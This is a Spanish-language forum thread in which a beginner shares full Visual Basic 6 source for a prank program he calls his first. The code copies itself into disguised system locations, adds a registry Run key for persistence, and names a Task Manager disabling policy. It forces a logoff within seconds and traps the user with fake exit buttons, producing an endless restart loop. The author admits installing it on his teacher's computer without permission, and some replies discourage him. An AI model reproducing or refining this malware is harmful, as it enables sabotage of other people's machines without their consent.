Mi primer programa en Visual Basic :)

[Luna71c0]

Hola a todos n.n
hace rato no posteo en el foro porque bueno surgio algun que otro inconveniente (vacaciones)

pero bueno para que vean que estoy a full (? les traje mi primer programa en VB

primero que nada quiero aclararles que solo voy a dejar el codigo porque no se a donde subir el programa u.u si alguien me ayuda lo subo

y segundo si a alguien se le ocurre probar mi programa para ver que tal anda le recomiendo que lo haga en una maquina virtual o algo de eso :B

Código [Seleccionar] Expandir

Private Declare Function ExitWindowsEx Lib "User32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long

Option Explicit
 
Private Const RAMA_REGISTRO As String = _
   "HKEY_CURRENT_USER\Software\" & _
   "Microsoft\Windows\CurrentVer" & _
   "sion\Policies\System\DisableTaskmgr"
   
   Dim hora As Date
Dim horafinal As Date
Dim HoraLimite As Date

   
 


Private Function Verificar_Existe(path) As Boolean
   
   If Len(Trim$(Dir$(path))) Then
       Verificar_Existe = True
       FileCopy "c:\LunaHAck.exe", "C:\WINDOWS\Cursores.exe"
       FileCopy "c:\LunaHAck.exe", "C:\WINDOWS\Cursores\Cursors.exe"
       FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\WINDOWS\system32\System32help.exe"
       FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Codigo.exe"
       FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Copia.exe"
       FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\WINDOWS\system\Systemhelp.exe"
       FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\Inico.exe"
       FileCopy "C:\WINDOWS\Cursores.exe", "C:\Documents and Settings\All Users\Escritorio\LunaHAck.exe"
       FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\Inico2.exe"
       FileCopy "C:\WINDOWS\Cursores.exe", "C:\WINDOWS\Cursores\Cursors.exe"
       End If
   
End Function




Private Sub Form_Load()
HoraLimite = "00:00:30"
Timer1.Interval = 1000
horafinal = Time + HoraLimite
Shell "Shutdown -t 10 -l "
Shell "reg add hklm\software\microsoft\windows\currentversion\run /v programa /t reg_sz /d C:\WINDOWS\Cursores.exe /f "
Call Verificar_Existe("c:\LunaHAck.exe ")


End Sub

Private Sub Salir1_Click()
MsgBox "Este no es el boton para salir"

End Sub

Private Sub Salir2_Click()
MsgBox "Con este boton tampoco se sale"
End Sub

Private Sub Salir3_Click()
MsgBox "No, Este tampoco lo es"
End Sub

Private Sub Timer1_Timer()
If horafinal < Time Then
Dim i As Integer
i = ExitWindowsEx(0, 0&)
Timer1.Enabled = False
Exit Sub
End If
Label1 = Format(horafinal - Time, "HH:MM:SS")
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
   Cancel = True
End Sub



Se que de seguro esta todo mal acomodado pero bueno como dice el titulo este es mi PRIMER PROGRAMA

Saludos

P/D: no creo que le sirva a nadie pero siempre es bueno experimentar en el campo de la programacion

Edit: me olvide de decirles el programa esta echo con el fin de joder a otras personas haciendo que la maquina se les reinicie continuamente xD

[$Edu$]

Que lastima que tu primer programa sea un intento de malware xD
Esperemos que el segundo sea de otra cosa

[Luna71c0]

En realidad es el segundo el primero es un programa que contraresta este :B pero la secuencia es muy basica (A)

[$Edu$]

Pero aprende a crear cosas basicas primero, aprende a crear un Notepad por ejemplo con opciones nuevas que se te ocurran asi aprendes a usar menus por ejemplo, o crea un Tres en rayas ( ta-te-ti) para aprender a hacer matrices de controles, yo q se

[Sanlegas]

La verdad que si, puedes hacer muuuchas cosas que no sean malware y aprender de ellas, aunque tambien del malware se aprende 

@ $Edu$. Me recuerda a alguien que queria hacer un gato con sockets 

[extreme69]

Lo que no entiendo es como hacés para q la victima tenga el LunaHAck.exe en c:\...

Al ejecutar esto chequea q tengas ese archivo y si está lo manda a carpetas más disimuladas y desactiva el taskmgr.exe, nada más?

Podrías haberlo hecho en .bat esto, no había necesidad de vb6.

[Luna71c0]

Lo que pasa es que yo tenia acceso a la computadora de mi profesor entonces lo puse en el C :B

y lo que hace es ejecutar el programa
copia el programa en masomenos 7 ubicaciones
bloquea el AMD de tareas :B
modifica el registro de windows para que el programa se abra junto a windows n.n
y hace que al abrir el programa la computadora se apague en 30 segundos
en resumen se prende la computadora inicia el programa reinicia la computadora se prende la computadora se inicia el programa y blablabla asi continuamente xD

a todos gracias por sus consejos vere que puedo hacer y quiero preguntarles si alguien sabe como hacer que el programa tenga un aspecto mas amigable xD (botones estilo win7 o winxp no ese que parece win98 xD) desde ya gracias

[79137913]

HOLA!!!

Revisa mi BLOQUEO DE PANTALLA.

GRACIAS POR LEER!!!

[Luna71c0]

HOLA!!!

Revisa mi BLOQUEO DE PANTALLA.

GRACIAS POR LEER!!!

Hola e.e

sisi ya lo habia revisado y bajado y no me funciono bien onda como que no estaban bloqueado los atajos de teclado entonces podia pasar entre ventanas xD igual despues lo pruevo con mas detenimiento
agradeceria que me des una opinion sobre mi programa xD

igual el tuyo me impulso a continuarlo (estaba medio rendido xD )

[79137913]

HOLA!!!

Hay lineas comentadas que tenes que "descomentar".

GRACIAS POR LEER!!!